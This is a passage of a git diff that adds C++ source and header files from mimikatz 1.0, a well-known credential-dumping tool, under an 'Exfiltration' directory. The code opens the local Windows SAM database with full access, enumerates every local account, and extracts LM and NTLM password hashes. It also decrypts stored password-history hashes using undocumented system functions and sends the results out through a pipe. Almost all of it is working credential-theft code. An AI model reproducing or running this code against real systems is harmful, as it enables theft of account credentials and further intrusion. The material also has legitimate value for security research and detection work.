\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp new file mode 100644 index 0000000..5555b58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp @@ -0,0 +1,479 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sam.h" + +PSAM_I_CONNECT SamIConnect = reinterpret_cast<PSAM_I_CONNECT>(NULL); +PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast<PSAM_R_OPEN_DOMAIN>(NULL); +PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast<PSAM_R_OPEN_USER>(NULL); +PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast<PSAM_R_ENUMERATE_USERS_IN_DOMAIN>(NULL); +PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast<PSAM_R_QUERY_INFORMATION_USER>(NULL); +PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_USER_INFO_BUFFER>(NULL); +PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER>(NULL); +PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast<PSAM_R_CLOSE_HANDLE>(NULL); +PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast<PSAM_I_GET_PRIVATE_DATA>(NULL); +PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast<PSYSTEM_FUNCTION_025>(NULL); +PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast<PSYSTEM_FUNCTION_027>(NULL); + +bool searchSAMFuncs() +{ + if(!(SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle && + SamIGetPrivateData && + SystemFunction025 && + SystemFunction027)) + { + HMODULE hSamsrv = GetModuleHandle(L"samsrv"); + HMODULE hAdvapi32 = GetModuleHandle(L"advapi32"); + + if(hSamsrv && hAdvapi32) + { + SamIConnect = reinterpret_cast<PSAM_I_CONNECT>(GetProcAddress(hSamsrv, "SamIConnect")); + SamrOpenDomain = reinterpret_cast<PSAM_R_OPEN_DOMAIN>(GetProcAddress(hSamsrv, "SamrOpenDomain")); + SamrOpenUser = reinterpret_cast<PSAM_R_OPEN_USER>(GetProcAddress(hSamsrv, "SamrOpenUser")); + SamrEnumerateUsersInDomain = reinterpret_cast<PSAM_R_ENUMERATE_USERS_IN_DOMAIN>(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain")); + SamrQueryInformationUser = reinterpret_cast<PSAM_R_QUERY_INFORMATION_USER>(GetProcAddress(hSamsrv, "SamrQueryInformationUser")); + SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_USER_INFO_BUFFER>(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER")); + SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast<PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER>(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER")); + SamrCloseHandle = reinterpret_cast<PSAM_R_CLOSE_HANDLE>(GetProcAddress(hSamsrv, "SamrCloseHandle")); + SamIGetPrivateData = reinterpret_cast<PSAM_I_GET_PRIVATE_DATA>(GetProcAddress(hSamsrv, "SamIGetPrivateData")); + SystemFunction025 = reinterpret_cast<PSYSTEM_FUNCTION_025>(GetProcAddress(hAdvapi32, "SystemFunction025")); + SystemFunction027 = reinterpret_cast<PSYSTEM_FUNCTION_027>(GetProcAddress(hAdvapi32, "SystemFunction027")); + } + return (SamIConnect && + SamrOpenDomain && + SamrOpenUser && + SamrEnumerateUsersInDomain && + SamrQueryInformationUser && + SamIFree_SAMPR_USER_INFO_BUFFER && + SamIFree_SAMPR_ENUMERATION_BUFFER && + SamrCloseHandle); + } + else return true; +} + +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@SamIConnect = " << SamIConnect << endl << + L"@SamrOpenDomain = " << SamrOpenDomain << endl << + L"@SamrOpenUser = " << SamrOpenUser << endl << + L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl << + L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl << + L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl << + L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl << + L"@SamrCloseHandle = " << SamrCloseHandle << endl << + L"@SamIGetPrivateData = " << SamIGetPrivateData << endl << + L"@SystemFunction025 = " << SystemFunction025 << endl << + L"@SystemFunction027 = " << SystemFunction027 << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + if(searchSAMFuncs()) + { + bool sendOk = true, history = true, isCSV = false; + USER_INFORMATION_CLASS monType = UserInternal1Information; + + if(!mesArguments->empty()) + { + isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0); + monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information); + } + + LSA_HANDLE handlePolicy = NULL; + HSAM handleSam = NULL; + HDOMAIN handleDomain = NULL; + HUSER handleUser = NULL; + + LSA_OBJECT_ATTRIBUTES objectAttributes; + memset(&objectAttributes, NULL, sizeof(objectAttributes)); + PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo; + + NTSTATUS retourEnum = 0; + PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL; + DWORD EnumerationContext = 0; + DWORD EnumerationSize = 0; + + PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy))) + { + if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast<PVOID *>(&ptrPolicyDomainInfo)))) + { + if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT))) + { + if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain))) + { + wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + do + { + retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize); + if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES) + { + for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++) + { + wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + ptrMesInfosUsers = NULL; + + if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser))) + { + if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers))) + { + WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers); + mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId; + mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); + + if(mesInfos.UserName.empty()) + mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); + + sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV); + SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType); + } + + if(history && SamIGetPrivateData != NULL) + { + sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV); + } + SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleUser)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n"); + } + SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser); + } + else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n"); + + } while(retourEnum == STATUS_MORE_ENTRIES && sendOk); + SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleDomain)); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n"); + SamrCloseHandle(reinterpret_cast<PHANDLE>(&handleSam)); + } + else sendOk = sendTo(monPipe, L"Impossible de se connecter ŕ la base de sécurité du domaine\n"); + LsaFreeMemory(ptrPolicyDomainInfo); + } + else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de sécurité\n"); + LsaClose(handlePolicy); + } + else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de sécurité\n"); + + return sendOk; + } + else return getSAMFunctions(monPipe, mesArguments); +} + +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV) +{ + wstringstream maReponse; + + switch(type) + { + case UserInternal1Information: + if(isCSV) + { + maReponse << + mesInfos.UserId << L";" << + mesInfos.UserName << L";" << + mesInfos.DomaineName << L";" << + mesInfos.LmOwfPassword << L";" << + mesInfos.NtOwfPassword << L";" + ; + } + else + { + maReponse << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl + ; + } + break; + case UserAllInformation: + if(isCSV) + { + maReponse << + mesInfos.UserId << L';' << + mesInfos.UserName << L';' << + mesInfos.DomaineName << L';' << + protectMe(mesInfos.FullName) << L';' << + mesInfos.isActif << L';' << + mesInfos.isLocked << L';' << + mesInfos.TypeCompte << L';' << + protectMe(mesInfos.UserComment) << L';' << + protectMe(mesInfos.AdminComment) << L';' << + mesInfos.AccountExpires_strict << L';' << + protectMe(mesInfos.WorkStations) << L';' << + protectMe(mesInfos.HomeDirectory) << L';' << + protectMe(mesInfos.HomeDirectoryDrive) << L';' << + protectMe(mesInfos.ProfilePath) << L';' << + protectMe(mesInfos.ScriptPath) << L';' << + mesInfos.LogonCount << L';' << + mesInfos.BadPasswordCount << L';' << + mesInfos.LastLogon_strict << L';' << + mesInfos.LastLogoff_strict << L';' << + mesInfos.PasswordLastSet_strict << L';' << + mesInfos.isPasswordNotExpire << L';' << + mesInfos.isPasswordNotRequired << L';' << + mesInfos.isPasswordExpired << L';' << + mesInfos.PasswordCanChange_strict << L';' << + mesInfos.PasswordMustChange_strict << L';' << + mesInfos.LmOwfPassword << L';' << + mesInfos.NtOwfPassword << L';' + ; + } + else + { + maReponse << boolalpha << + L"Compte" << endl << + L"======" << endl << + L"ID : " << mesInfos.UserId << endl << + L"Nom : " << mesInfos.UserName << endl << + L"Domaine : " << mesInfos.DomaineName << endl << + L"Nom complet : " << mesInfos.FullName << endl << + L"Actif : " << mesInfos.isActif << endl << + L"Verouillé : " << mesInfos.isLocked << endl << + L"Type : " << mesInfos.TypeCompte << endl << + L"Commentaire utilisateur : " << mesInfos.UserComment << endl << + L"Commentaire admin : " << mesInfos.AdminComment << endl << + L"Expiration : " << mesInfos.AccountExpires << endl << + L"Station(s) : " << mesInfos.WorkStations << endl << + endl << + L"Chemins" << endl << + L"-------" << endl << + L"Répertoire de base : " << mesInfos.HomeDirectory << endl << + L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl << + L"Profil : " << mesInfos.ProfilePath << endl << + L"Script de démarrage : " << mesInfos.ScriptPath << endl << + endl << + L"Connexions" << endl << + L"----------" << endl << + L"Nombre : " << mesInfos.LogonCount << endl << + L"Echecs : " << mesInfos.BadPasswordCount << endl << + L"Derničre connexion : " << mesInfos.LastLogon << endl << + L"Derničre déconnexion : " << mesInfos.LastLogoff << endl << + endl << + L"Mot de passe" << endl << + L"------------" << endl << + L"Dernier changement : " << mesInfos.PasswordLastSet << endl << + L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl << + L"Peut ętre vide : " << mesInfos.isPasswordNotRequired << endl << + L"Mot de passe expiré : " << mesInfos.isPasswordExpired << endl << + L"Possibilité changement : " << mesInfos.PasswordCanChange << endl << + L"Obligation changement : " << mesInfos.PasswordMustChange << endl << + endl << + L"Hashs" << endl << + L"-----" << endl << + L"Hash LM : " << mesInfos.LmOwfPassword << endl << + L"Hash NTLM : " << mesInfos.NtOwfPassword << endl << + endl + ; + } + break; + } + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr) +{ + WUserAllInformation mesInfos; + PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL; + PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL; + + switch(type) + { + case UserInternal1Information: + ptrPassword = reinterpret_cast<PSAMPR_USER_INTERNAL1_INFORMATION>(monPtr); + + mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data)); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data)); + break; + + case UserAllInformation: + ptrAllInformations = reinterpret_cast<PSAMPR_USER_ALL_INFORMATION>(monPtr); + + mesInfos.UserId = ptrAllInformations->UserId; + mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName); + mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName); + + mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0; + mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0; + + if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Contrôleur de domaine"); + else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT) + mesInfos.TypeCompte.assign(L"Ordinateur"); + else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT) + mesInfos.TypeCompte.assign(L"Utilisateur"); + else + mesInfos.TypeCompte.assign(L"Inconnu"); + + mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment); + mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment); + mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires); + mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true); + mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations); + mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory); + mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive); + mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath); + mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath); + mesInfos.LogonCount = ptrAllInformations->LogonCount; + mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount; + mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon); + mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true); + mesInfos.LastLogoff = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff); + mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true); + mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet); + mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true); + mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0; + mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0; + mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0; + mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange); + mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true); + mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange); + mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true); + mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0; + mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0; + + if(mesInfos.LmPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast<BYTE *>(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length); + if(mesInfos.NtPasswordPresent) + mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast<BYTE *>(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length); + + break; + } + return mesInfos; +} + +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV) +{ + WUserAllInformation mesInfos; + mesInfos.DomaineName = domainName; + mesInfos.UserId = rid; + + DWORD Context = 2, Type = 0, tailleBlob; + PWHashHistory pMesDatas = NULL; + bool sendOk = true; + + if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas))) + { + unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16; + + for(unsigned short i = 1; i < nbEntrees && sendOk; i++) + { + BYTE monBuff[16] = {0}; + + wostringstream userNameQualif; + userNameQualif << monUserName << L"{p-" << i << L"}"; + mesInfos.UserName = userNameQualif.str(); + + if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff))) + { + mesInfos.LmPasswordPresent = 1; + mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.LmPasswordPresent = 0; + mesInfos.LmOwfPassword = L"échec de décodage :("; + } + + if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff))) + { + mesInfos.NtPasswordPresent = 1; + mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10); + } + else + { + mesInfos.NtPasswordPresent = 0; + mesInfos.NtOwfPassword = L"échec de décodage :("; + } + + sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV); + } + LocalFree(pMesDatas); + } + return sendOk; +} + +wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict) +{ + wostringstream reponse; + + if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX) + { + if(!isStrict) + reponse << L"N\'arrive jamais"; + } + else if(monInt.LowPart == 0 && monInt.HighPart == 0) + { + if(!isStrict) + reponse << L"N\'est pas encore arrivé"; + } + else + { + SYSTEMTIME monTimeStamp; + if(FileTimeToSystemTime(reinterpret_cast<PFILETIME>(&monInt), &monTimeStamp) != FALSE) + { + reponse << dec << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" << + setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" << + setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond; + } + } + return reponse.str(); +} + +wstring protectMe(wstring &maChaine) +{ + wstring result; + if(!maChaine.empty()) + { + result = L"\""; + result.append(maChaine); + result.append(L"\""); + } + return result; +} + +void correctMe(wstring &maChaine) +{ + unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20}; + unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 }; + + for(unsigned int i = 0; i < maChaine.size() ; i++) + { + const BYTE * monPtr = reinterpret_cast<const BYTE *>(&maChaine.c_str()[i]); + for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2) + { + if(*monPtr == source[j] && *(monPtr + 1) == source[j+1]) + { + *const_cast<BYTE *>(monPtr) = replac[j]; + *const_cast<BYTE *>(monPtr + 1) = replac[j + 1]; + break; + } + } + } +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h new file mode 100644 index 0000000..870aa4d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include <sstream> +#include <iomanip> + +bool searchSAMFuncs(); +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector<wstring> * mesArguments); + +#define SAM_SERVER_CONNECT 0x00000001 +#define DOMAIN_ALL_ACCESS 0x000F07FF +#define USER_ALL_ACCESS 0x000F07FF + +#define USER_ACCOUNT_DISABLED 0x00000001 +#define USER_PASSWORD_NOT_REQUIRED 0x00000004 +#define USER_NORMAL_ACCOUNT 0x00000010 +#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080 +#define USER_SERVER_TRUST_ACCOUNT 0x00000100 +#define USER_DONT_EXPIRE_PASSWORD 0x00000200 +#define USER_ACCOUNT_AUTO_LOCKED 0x00000400 +#define USER_SMARTCARD_REQUIRED 0x00001000 +#define USER_TRUSTED_FOR_DELEGATION 0x00002000 +#define USER_PASSWORD_EXPIRED 0x00020000 + +typedef struct _WUserAllInformation +{ + unsigned long UserId; + wstring UserName; + wstring DomaineName; + wstring FullName; + bool isActif; + bool isLocked; + wstring TypeCompte; + wstring UserComment; + wstring AdminComment; + wstring AccountExpires; + wstring AccountExpires_strict; + wstring WorkStations; + + wstring HomeDirectory; + wstring HomeDirectoryDrive; + wstring ProfilePath; + wstring ScriptPath; + + unsigned short LogonCount; + unsigned short BadPasswordCount; + wstring LastLogon; + wstring LastLogon_strict; + wstring LastLogoff; + wstring LastLogoff_strict; + + wstring PasswordLastSet; + wstring PasswordLastSet_strict; + bool isPasswordNotExpire; + bool isPasswordNotRequired; + bool isPasswordExpired; + wstring PasswordCanChange; + wstring PasswordCanChange_strict; + wstring PasswordMustChange; + wstring PasswordMustChange_strict; + + bool LmPasswordPresent; + wstring LmOwfPassword; + bool NtPasswordPresent; + wstring NtOwfPassword; +} WUserAllInformation, *PUserAllInformation; + +typedef struct _WHashHistory +{ + DWORD unkVersion; + unsigned short currentLMsize; + unsigned short unkCurrentLMsize; + DWORD unkCurLM; + BYTE EncLMhash[16]; + + unsigned short currentNTLMsize; + unsigned short unkCurrentNTLMsize; + DWORD unkCurNTLM; + BYTE EncNTLMhash[16]; + + unsigned short histLMsize; + unsigned short unkhistLMsize; + DWORD unkHistLM; + + unsigned short histNTLMsize; + unsigned short unkhistNTLMsize; + DWORD unkHistNTLM; + BYTE hashs[24][16]; +} WHashHistory, *PWHashHistory; + +DECLARE_HANDLE(HUSER); +DECLARE_HANDLE(HSAM); +DECLARE_HANDLE(HDOMAIN); + +typedef struct _SAMPR_RID_ENUMERATION +{ + unsigned long RelativeId; + LSA_UNICODE_STRING Name; +} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION; + +typedef struct _SAMPR_ENUMERATION_BUFFER +{ + unsigned long EntriesRead; + [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer; +} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER; + +typedef enum _USER_INFORMATION_CLASS +{ + UserInternal1Information = 18, + UserAllInformation = 21, +} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS; + +typedef struct _ENCRYPTED_LM_OWF_PASSWORD +{ + BYTE data[16]; +} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD; + +typedef struct _SAMPR_USER_INTERNAL1_INFORMATION +{ + ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword; + ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword; + unsigned char NtPasswordPresent; + unsigned char LmPasswordPresent; + unsigned char PasswordExpired; +} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION; + +typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; +} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + +typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR { + [range(0, 256 * 1024)] unsigned long Length; + [size_is(Length)] unsigned char* SecurityDescriptor; +} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR; + +typedef struct _SAMPR_LOGON_HOURS { + unsigned short UnitsPerWeek; + [size_is(1260), length_is((UnitsPerWeek+7)/8)] + unsigned char* LogonHours; +} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS; + +typedef struct _SAMPR_USER_ALL_INFORMATION +{ + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordCanChange; + OLD_LARGE_INTEGER PasswordMustChange; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING FullName; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + LSA_UNICODE_STRING ScriptPath; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING AdminComment; + LSA_UNICODE_STRING WorkStations; + LSA_UNICODE_STRING UserComment; + LSA_UNICODE_STRING Parameters; + LSA_UNICODE_STRING LmOwfPassword; + LSA_UNICODE_STRING NtOwfPassword; + LSA_UNICODE_STRING PrivateData; + SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor; + unsigned long UserId; + unsigned long PrimaryGroupId; + unsigned long UserAccountControl; + unsigned long WhichFields; + SAMPR_LOGON_HOURS LogonHours; + unsigned short BadPasswordCount; + unsigned short LogonCount; + unsigned short CountryCode; + unsigned short CodePage; + unsigned char LmPasswordPresent; + unsigned char NtPasswordPresent; + unsigned char PasswordExpired; + unsigned char PrivateDataSensitive; +} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION; + +typedef [switch_is(USER_INFORMATION_CLASS)] union _SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */ +{ + [case(UserInternal1Information)] + SAMPR_USER_INTERNAL1_INFORMATION Internal1; + [case(UserAllInformation)] + SAMPR_USER_ALL_INFORMATION All; +} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER; + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr); +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false); +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false); +wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false); +wstring protectMe(wstring &maChaine); +void correctMe(wstring 